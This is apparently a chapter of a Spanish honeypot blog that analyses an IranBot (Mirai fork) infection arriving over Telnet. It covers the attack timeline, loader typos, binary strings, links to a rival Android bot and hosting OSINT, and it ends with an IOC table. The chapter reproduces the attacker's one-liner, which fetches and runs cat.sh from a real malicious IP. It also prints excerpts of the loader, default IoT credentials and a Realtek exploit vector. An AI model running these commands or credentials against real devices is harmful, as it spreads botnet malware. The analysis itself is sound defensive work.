ES EN
Índice

IranBot · Capítulo 21

Me lo presentó su enemigo

Un escáner automático encontró el telnet del cebo y, dieciocho segundos después, ya había un binario dentro. La contraseña era «telnet». El cargador que soltó viene con dos erratas del operador, una de las cuales rompe una infección entera. Y cuando por fin le puse nombre a la familia —IranBot, un fork de Mirai con ficha pública— resultó que ese nombre ya estaba escrito en este blog desde agosto: lo había puesto un bot rival, en la lista de competidores que desinstala al llegar.

La infección la puedo resumir en una línea, porque duró menos de veinte segundos y no tiene misterio ninguno: contraseña de fábrica, un guion, catorce binarios. Lo interesante vino después, cuando fui a ponerle nombre.

Porque cuando por fin supe cómo se llamaba, resultó que ese nombre ya estaba escrito en este blog desde agosto. No lo puso él. Lo puso un bicho rival, dieciocho días antes, mientras intentaba echarlo de un teléfono que los dos querían.

01Menos de veinte segundos

No hubo cortejo. Una IP —176.65.139.206— se asomó al Telnet del cebo la mañana del 10 de septiembre y, en quince segundos, abrió siete conexiones seguidas. No era la primera vez que pasaba por aquí: once días antes había llamado al SSH del cebo, había aguantado cuatro segundos y se había ido sin intentar nada.

  1. 00:00Primer contacto. Abre y cierra sin decir nada. Y otra vez.
  2. 00:05Tercera conexión, y esta sí prueba: root / icatch99. Falla. Es una credencial fija de los grabadores LILIN, que entró en el repertorio de las botnets IoT con el 0-day de LILIN de 2020.
  3. 00:16Séptima conexión, y esta entra. Usuario telnet, contraseña telnet.
  4. 00:18Pega la orden de infección y el binario ya está dentro.

Dieciocho segundos del primer paquete al malware descargado. Es un escáner automático barriendo servicios —el SSH en agosto, el telnet ahora—: encontró un puerto abierto, probó lo que tenía que probar y ejecutó su guion. Ni siquiera insistió mucho: de las siete conexiones, solo dos llegaron a teclear una contraseña. Nadie estaba mirando.

La orden, tal cual llegó — todo en una línea:

lo que pegó en el telnet
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /
wget hxxp://176.65.139[.]206/cat.sh
chmod cat.sh
sh cat.sh

El rosario de cd del principio es marca de la casa Mirai: prueba directorios uno detrás de otro hasta dar con uno donde pueda escribir, porque en un router barato /tmp puede no existir, estar lleno o ser de solo lectura. Lo que ya no es tan de la casa es ese chmod cat.sh sin decir qué permisos. chmod necesita un modo y aquí no se lo pasan, así que la orden devuelve error. Da igual, porque el guion lo lanzan con sh, que no necesita permiso de ejecución — y precisamente por eso la errata lleva ahí quién sabe cuánto sin que nadie la note. Guárdala, que no es la única.

Una sola caja hace todo el trabajoFíjate en la IP de la que se descarga el bicho: es la misma que atacó. No hay reparto de tareas. En KHserver vimos la versión sensata de esto — una IP se dedica a escanear medio internet y se llena de denuncias, y otra distinta, limpia y discreta, guarda la mercancía para las víctimas que ya han picado. Queman una y protegen la otra. Aquí no: la misma máquina escanea, ataca y sirve los ficheros. Todos los huevos en la misma cesta, y esa cesta ya acumulaba 560 denuncias el día que me tocó.

02Un cargador con dos erratas

cat.sh pesa 1.903 bytes y es lo más simple que puede ser: catorce líneas de descarga, una por arquitectura de CPU.

cat.sh · recortado
wget hxxp://176.65.139[.]206/iran.x86_64 -O x86_64 || curl … ; chmod 777 x86_64; ./x86_64 catloader;
wget hxxp://176.65.139[.]206/iran.mips   -O mips   || curl … ; chmod 777 mips;   ./mips   catloader;
# … y así con: aarch64 · m68k · mipsel · powerpc · sparc · sh4 · arc
#              i486 · armv4l · armv5l · armv6l · armv7l    (catorce en total)

La escopeta de siempre: dispara los catorce y que arranque el que case con la CPU de la víctima; los otros trece fallan — y uno ni llegó a descargarse. Prueba wget y, si no está, curl — cinturón y tirantes, como el cascadeo obstinado de Sysorbit. Y lanza cada binario con un argumento, catloader, que es la etiqueta de campaña: el bot se la reportará a su central para que sepan por qué vía llegó. En Cling esa etiqueta era telnet; aquí es catloader.

Y ahora la segunda errata, que esta sí hace daño:

la línea del aarch64
wget …/iran.aarch64 -O aarch64 ; chmod 777 aarch64; ./aarch64catloader;
                                                            ↑ falta el espacio

Se comieron el espacio entre el fichero y su argumento. Así que en cualquier aparato con CPU aarch64 —que son unos cuantos: routers modernos, cámaras, cajas Android de televisión— el bicho se descarga, se le dan permisos… y luego se intenta ejecutar un fichero llamado aarch64catloader que no existe. Esa infección no arranca nunca. El operador está perdiendo una arquitectura entera por un espacio.

Y el remate: no es un tercer fallo, es el mismoEntre los seis ficheros que guardó el cebo hay uno que no es un binario: son 276 bytes de HTML, la página de error por defecto de un Apache/2.4.58 (Ubuntu). Un 404. ¿De qué arquitectura? Del aarch64 — la misma del espacio que falta. Así que en esta campaña la errata ni siquiera llegó a importar: el fichero no estaba en el servidor. Un aparato aarch64 se habría bajado 276 bytes de HTML, les habría dado chmod 777 y habría intentado ejecutar algo que no existe, por partida doble.

Eso es lo observado: una de las catorce no estaba disponible en el momento del ataque. Y aparte, la lectura, que vuelve al final del capítulo: encaja con que esa mañana estuvieran tocando el directorio en vivo, mientras su bot infectaba.

03Las huellas y un nombre

Lo primero fue lo de siempre: coger el hash del binario de 64 bits y preguntarle a VirusTotal. Veintitrés motores de setenta y cinco lo daban por malo el día que lo miré, y la mayoría decía lo mismo: trojan.mirai, gafgyt. El resto, en genéricos — «malicioso», «ELF sospechoso». En MalwareBazaar no estaba: nadie lo había subido nunca.

Con eso, el reflejo es archivarlo como «otro Mirai» y pasar página. Pero quien compila un fork deja huellas suyas, y esas sí son concretas. Saqué las cadenas de texto del binario:

strings · selección
Not a mirai at all                     # el chiste del autor
Death to israel                        # una consigna, escrita a mano
!selfrep telnet    !selfrep realtek    # las dos órdenes de autorreplicación
selfrep.realtek                        # cómo se marca cuando se propaga solo
176.65.139.206
psize=  srcport=  httpmode=  gport=  gre_proto=  msg=  usleep=
root · user · postgres · xc3511 · 888888 · default · password · 12345
5up · klv1234 · anko · 7ujMko0admin · ikwb · dreambox

Ese Not a mirai at all —«no es un Mirai en absoluto»— es una pulla del autor a quien vaya a abrir el fichero. Y es justo lo que lo delata, porque está documentado: Nokia Deepfield publicó una ficha de esta familia, y ahí están el chiste, la consigna, los siete parámetros exactos, las dos órdenes de autorreplicación, el marcador selfrep.realtek y hasta la convención de nombres del reparto — iran.<arquitectura>, que es literalmente lo que descarga mi cat.sh.

Coinciden todos. Lo comprobé además en dos binarios distintos del mismo paquete, el x86-64 y el m68k, que traen exactamente las mismas cadenas. No es un Mirai genérico: es un fork concreto, con nombre propio y ficha pública. Se llama IranBot.

Sobre el nombre, y hasta dónde llegaEl autor bautizó sus ficheros iran.* y dejó una consigna política dentro del binario. Eso es lo que él escribió, y sirve para exactamente una cosa: identificar la familia. No dice de dónde viene, ni quién lo paga, ni desde dónde se opera. Un texto dentro de un ejecutable es tan barato de poner como de mentir, y el que quiere despistar empieza justo por ahí. Aquí se queda como marca, y no lo estiro ni un milímetro más.

Lo que sí me hizo gracia fue volver a VirusTotal con el nombre ya sabido: de los veintitrés motores que lo detectan, ninguno lo llama «IranBot». Todos lo archivan como Mirai o Gafgyt del montón. Su autor dejó escrito dentro del binario que aquello «no es un Mirai en absoluto», y veintitrés antivirus le han contestado que sí.

04Ya estaba aquí

Con el nombre en la mano hice lo que hago siempre antes de cantar nada: buscar si me sonaba de algo. Y busqué también dentro de mi propio blog, sin ninguna esperanza.

Sale. En el capítulo 7, publicado el 23 de agosto — dieciocho días antes de que esto entrara por el telnet.

capítulo 7 · lo primero que hace Sysorbit al instalarse
pm uninstall com.manji.bot                2>/dev/null
pm uninstall com.iranbot.load             2>/dev/null   ← aquí
pm uninstall com.android.log_handler_v2   2>/dev/null
pm uninstall com.oreo.mcflurry            2>/dev/null
# … y siete más

Aquello era Sysorbit, un bot de Android que entró por el cable de depuración. Lo primero que hace al llegar es desalojar a la competencia: recorre una lista de bots rivales y los va desinstalando uno por uno para quedarse el aparato en exclusiva. La misma guerra entre delincuentes que ya había visto en RedTail, pero en Android.

Y en esa lista de enemigos estaba el nombre que yo acababa de averiguar por mi cuenta, dieciocho días después. Lo tenía publicado y no lo sabía.

Cuidado con lo que prueba esto, exactamenteLo que coincide es el nombre. com.iranbot.load es un paquete de Android; lo que entró por mi telnet es un ELF de Linux, y la ficha pública de IranBot describe binarios para routers y cacharros IoT, no para móviles. No puedo afirmar que sean la misma cosa. Puede ser el mismo autor con dos ramas, puede ser alguien que le copió el nombre —se hace constantemente—, o puede ser casualidad. Lo que sí es un hecho es que en agosto alguien ya consideraba a un «iranbot» rival suficiente como para ir a buscarlo aparato por aparato.

Hay una segunda coincidencia, y esta sí se mide. El centro de mando de Sysorbit vivía en 176.65.139.248. El que me atacó ahora es 176.65.139.206. El mismo bloque de 256 direcciones.

De ese bloque ya escribí en el capítulo 11, y con una precisión que ahora viene bien: el rango está a nombre de PFCLOUD-NET, pero quien lo anuncia a internet es otra empresa distinta, AS219502 · Storm Industries LLC. Son dos cosas que es muy fácil confundir, y según por cuál preguntes te sale una respuesta o ninguna.

Ahora bien, compartir bloque no es compartir dueño. Un /24 de un proveedor así lleva inquilinos que no tienen nada que ver entre sí, y eso ya me tocó comprobarlo enumerando uno. Lo único que dice esta coincidencia es dónde se compra este tipo de alojamiento — y la respuesta lleva ya unos cuantos capítulos siendo la misma dirección.

05La caja se vacía el mismo día

Un par de horas después del ataque volví a mirar el servidor del que se había descargado todo. Pedí el índice del directorio raíz:

el índice del reparto, un par de horas después
Index of /

[ICO]  Name     Last modified     Size     Description
────────────────────────────────────────────────────────

Apache/2.4.58 (Ubuntu) Server at 176.65.139.206 Port 80

Vacío. Ni cat.sh, ni un solo iran.*. Podría ser que solo hubieran apagado el listado del directorio y los ficheros siguieran ahí, así que pedí uno por su nombre exacto: 404. Borrados de verdad.

Shodan guarda el tamaño de esa página de índice cada vez que pasa por delante, y ese número sube y baja según cuántos ficheros haya listados. Su histórico cuenta la historia sola:

tamaño del índice · las tres primeras filas, según los pasos de Shodan
30 de agosto        746 B     # una carpeta, bins/
 9 de septiembre    556 B     # lo vacían
10 de septiembre    932 B     # bins/ otra vez, y un guion — pero NO los míos
──────────────────────────────────────────────
10 de septiembre    vacío     # esto ya no es Shodan: es mi consulta

Ese 932 me hizo dudar, así que fui a mirar qué listaba exactamente. Ni cat.sh ni un solo iran.*: lo que Shodan vio esa madrugada era la carpeta de siempre y un guion de otra campaña. Y las cuentas cuadran al byte — sobre el índice vacío de 556, una fila de carpeta y una de fichero suman exactamente esos 932.

Ese directorio se toca a diario. Y mis ficheros vivieron en una ventana más corta de lo que yo creía: aún no estaban cuando Shodan pasó, y ya no estaban cuando miré yo. Y no fui el primero en tenerla: la muestra ya estaba en VirusTotal un buen rato antes de llegar a mi cebo. Encaja además con el 404 que el cebo guardó durante el propio ataque: ya entonces faltaba una de las catorce arquitecturas.

Y hay algo más que no esperaba, y es una ausencia. URLhaus —el catálogo público donde se reportan las direcciones que reparten malware— tiene treinta y cuatro de esa misma caja, la última del 7 de septiembre. Ninguna es cat.sh. Ninguna es un iran.*. Ni en MalwareBazaar, donde tampoco está ninguno de los cinco. Registro haberlo hay —los cinco ficheros llegaron a VirusTotal esa misma madrugada, y con los nombres iran.* puestos, así que alguien más los cazó—. Lo que no hay es nadie que la haya contado: ni una URL reportada, ni una entrada en los indicadores de la ficha, ni un análisis. De esta oleada, que yo haya podido encontrar, no hay más análisis público que este capítulo.

Lo que esto sí significa, y lo que noSignifica que el guion que pega el escáner ya no está: cualquier aparato que intente bajarse cat.sh se come un 404. Ojo con estirarlo, porque el bot instalado no se propaga con ese guion: para eso lleva dentro sus propias rutas —/telnet.sh, /mips y /mipsel—, y de esas no sé si siguen ahí. Averiguarlo sería pedirle ficheros al servidor del atacante, y eso no se hace. Y desde luego no significa que la botnet esté apagada. El servidor de reparto y el centro de mando son dos servicios distintos, y del segundo aún no sé nada — ni siquiera dónde está. Eso es el capítulo siguiente.

¿Y quién es la caja? OSINT pasivo, bases de datos de terceros, sin tocarla:

DatoValor
Denuncias100 % de confianza de abuso · 560 reportes (AbuseIPDB, 10-sep-2026)
Vista desde29 de agosto (Shodan)
Puertos abiertos22 · 80 · 8098
Etiquetasopen-dir · scanner
Rango176.65.139.0/24 · a nombre de PFCLOUD-NET · lo anuncia AS219502 · Storm Industries LLC (NL)
Un tropiezo que ya me ha pasado dos vecesShodan decía que esa IP era de otra empresa, en otro país. Es falso — o más bien, está caducado: el registro autoritativo dice AS219502, Storm Industries, Países Bajos. En los rangos de alojamiento a prueba de denuncias los datos rotan deprisa y el buscador se queda con la foto vieja. La ASN se comprueba en el registro, no en el buscador. Van dos veces que me lo recuerdo a mí mismo.

06El espécimen

Seis ficheros guardó el cebo: el guion cargador, cuatro binarios y el 404. De las catorce arquitecturas, el cebo llegó a pedir cinco antes de que se cortara la sesión — cuatro binarios y un 404. Las otras nueve no se pidieron nunca.

ESPÉCIMEN 007 · ELF ×4 + cargador

IranBot · fork de Mirai VirusTotal lo canta trojan.mirai — tiene nombre propio

◈ VIVO · NO EJECUTAR
Tipo
ELF estáticos · stripped · x86-64 · m68k · MIPS · MIPS little-endian
Tamaño
164.272 B (x86-64) · 182.212 B (m68k) · 209.344 B (mips) · 211.616 B (mipsel)
Entrega
escopeta de 14 arquitecturas por Telnet · telnet/telnet
Etiqueta de campaña
catloader (argumento con que se lanza)
Función
bot de DDoS con autorreplicación — se destripa en el Cap. 22
C2
sin identificar todavía — se destapa en el Cap. 22

07Indicadores (IOCs)

De la infección. Los de dentro del bicho —empezando por a quién llama— van en el próximo.

TipoValor
IP atacante y servidor de reparto176.65.139.206 (:80 Apache · :22 SSH) · AS219502 Storm Industries LLC
URLs de repartohxxp://176.65.139[.]206/cat.sh
hxxp://176.65.139[.]206/iran.<arch> (14 arquitecturas)
hxxp://176.65.139[.]206/telnet.sh · hxxp://176.65.139[.]206/mips · hxxp://176.65.139[.]206/mipsel
(las tres las construye el bot en ejecución: dentro lleva la ruta, y el host se lo pone de la misma dirección que usa para el mando)
Credenciales usadastelnet/telnet (éxito) · root/icatch99 (fallo)
Cadena de infeccióncd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://<ip>/cat.sh; chmod cat.sh; sh cat.sh;
Etiqueta de campaña (argv)catloader
User-Agent fijoMozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 — el que usa su método httpmode=
Puertos que lleva fijos2000 (mando) · 9034/udp (el Realtek) · 23 (su escáner de telnet)
Marcadores de familia (cadenas)Not a mirai at all · Death to israel · selfrep.realtek
Órdenes y parámetros!selfrep telnet · !selfrep realtek · psize= srcport= httpmode= gport= gre_proto= msg= usleep=
Vector de autorreplicacióntelnet por contraseñas de fábrica + Realtek Jungle SDK (CVE-2021-35394, UDP 9034)cuando el operador se lo ordena, no por su cuenta
SHA-256 · cargador6a4503094d0031ae36c8b27cc36696087831901dfa421675ccb7509c9d7e58da (cat.sh, 1.903 B)
SHA-256 · binariosf35bf04216d14180f9d28f6770a5722557f4a979d746f4ef664419363d0b755b (x86-64)
3f21d6f8621e38d2bc923dfaaf0861887c6ca0def522ae4dea0f9b840bf1d39a (m68k)
064d93495573a536517fa7ddf9fb6d3c4cddd4c7fdc61d4f90d12629cad690e6 (mips)
ce452891a6e017f2523f8c7005df1180003ab3e96916774efb432bcc2a8e657f (mipsel)

Los hashes caducan en cuanto el operador recompile, y recompila. Lo que aguanta es el resto de la tabla: catloader, Not a mirai at all y la cadena de cd encadenados siguen ahí en la siguiente build.

Continuará — con un hueco del tamaño de una casa. Tengo el bicho, tengo quién lo repartió y tengo su nombre. Lo que no tengo es a quién llama. Busqué la dirección de su central escondida dentro del binario y no la encontré: ninguno de los centros de mando que la ficha pública documenta, ni un dominio en texto claro, ni el número por ninguna parte. Cuatro caminos, y ninguno llevaba a ningún sitio — hasta que caí en que lo que me hacía falta era otro binario, y no era mío. Adelanto el final: la respuesta estaba en el volcado de ahí arriba, y yo pasé por encima. En el Capítulo 22. 🍯

Comentarios